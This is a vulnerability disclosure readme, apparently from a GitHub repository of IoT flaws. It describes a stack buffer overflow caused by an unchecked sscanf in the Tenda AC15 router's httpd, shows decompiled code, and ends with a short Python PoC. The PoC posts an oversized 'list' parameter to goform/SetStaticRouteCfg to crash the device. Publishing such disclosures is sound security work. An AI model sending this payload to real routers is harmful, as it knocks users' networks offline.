

main IoT\_vuln / Tenda / AC15 / fromSetRouteStatic /

wangshi add AC18 vuln -- fromSetRouteStatic-- ssanf ...

on Oct 23 History

..

images last month

readme.md last month

readme.md

# Tenda AC15(V15.03.05.18) has a Buffer Overflow Vulnerability

## Product

1. product information: <https://www.tenda.com.cn/>
2. firmware download:<https://www.tenda.com.cn/download/detail-2710.html>

## Affected version

V15.03.05.18

## Vulnerability

The stack overflow vulnerability is in /bin/httpd. The vulnerability occurs in the fromSetRouteStatic function, which can be accessed through the URL goform/SetStaticRouteCfg .

In function `fromSetRouteStatic`, the content obtained by the program from the parameter `list` is passed to `v5`, and then the `v5` is passed into the `sub_78530` function as the second argument.

```
1 int __fastcall fromSetRouteStatic(_DWORD *a1)
2 {
3     int v1; // r0
4     char s[256]; // [sp+10h] [bp-114h] BYREF
5     char *v5; // [sp+110h] [bp-14h]
6     int v6; // [sp+114h] [bp-10h]
7
8     memset(s, 0, sizeof(s));
9     v6 = 0;
10    v5 = sub_2BABC((int)a1, "list", (int)&byte_E5F3C);
11    v1 = sub_78530("adv.staticroute", v5, 0x7Eu);
12    if ( CommitCfm(v1) )
13    {
14        sprintf(s, "advance_type=%d", 8);
15        send_msg_to_netctrl(5, s);
16    }
17    else
18    {
19        v6 = 1;
20    }
```

In `sub_78530` function, the function `sscanf` is called to split it and copy to stack buffer without checking its length.

```

1 int __fastcall sub_78530(const char *a1, char *a2, unsigned __int8 a3)
2 {
3     int result; // r0
4     char v7[8]; // [sp+1Ch] [bp-1A0h] BYREF
5     int s1[4]; // [sp+24h] [bp-198h] BYREF
6     char v9[16]; // [sp+34h] [bp-188h] BYREF
7     char v10[16]; // [sp+44h] [bp-178h] BYREF
8     char v11[16]; // [sp+54h] [bp-168h] BYREF
9     char v12[256]; // [sp+64h] [bp-158h] BYREF
10    char s[64]; // [sp+164h] [bp-58h] BYREF
11    char *v14; // [sp+1A4h] [bp-18h]
12    int v15; // [sp+1A8h] [bp-14h]
13    char *v16; // [sp+1ACh] [bp-10h]
14
15    memset(s, 0, sizeof(s));
16    memset(v12, 0, sizeof(v12));
17    s1[0] = 0;
18    s1[1] = 0;
19    s1[2] = 0;
20    s1[3] = 0;
21    v15 = 0;
22    if ( strlen(a2) > 4 )
23    {
24        ++v15;
25        v16 = a2;
26        while ( 1 )
27        {
28            v14 = strchr(v16, a3);
29            if ( !v14 )
30                break;
31            *v14++ = 0;
32            memset(s, 0, sizeof(s));
33            sprintf(s, "%s.list%d", a1, v15);
34            if ( sscanf(v16, "%[^,],%[^,],%[^,],%s", v11, v10, v9, s1) == 4 )
35            {
36                if ( !strcmp((const char *)s1, "WAN1") )
37                    sprintf(v12, "%s;%s;%s;1;%s", v11, v10, v9, (const char *)s1);
38                else

```

## PoC

### Poc of Denial of Service(DoS)

```

import requests
data = {
    b"list": b'A'*0x400+b',A,A,A'
}
res = requests.post("http://192.168.0.1/goform/SetStaticRouteCfg", data=data)
print(res.content)

```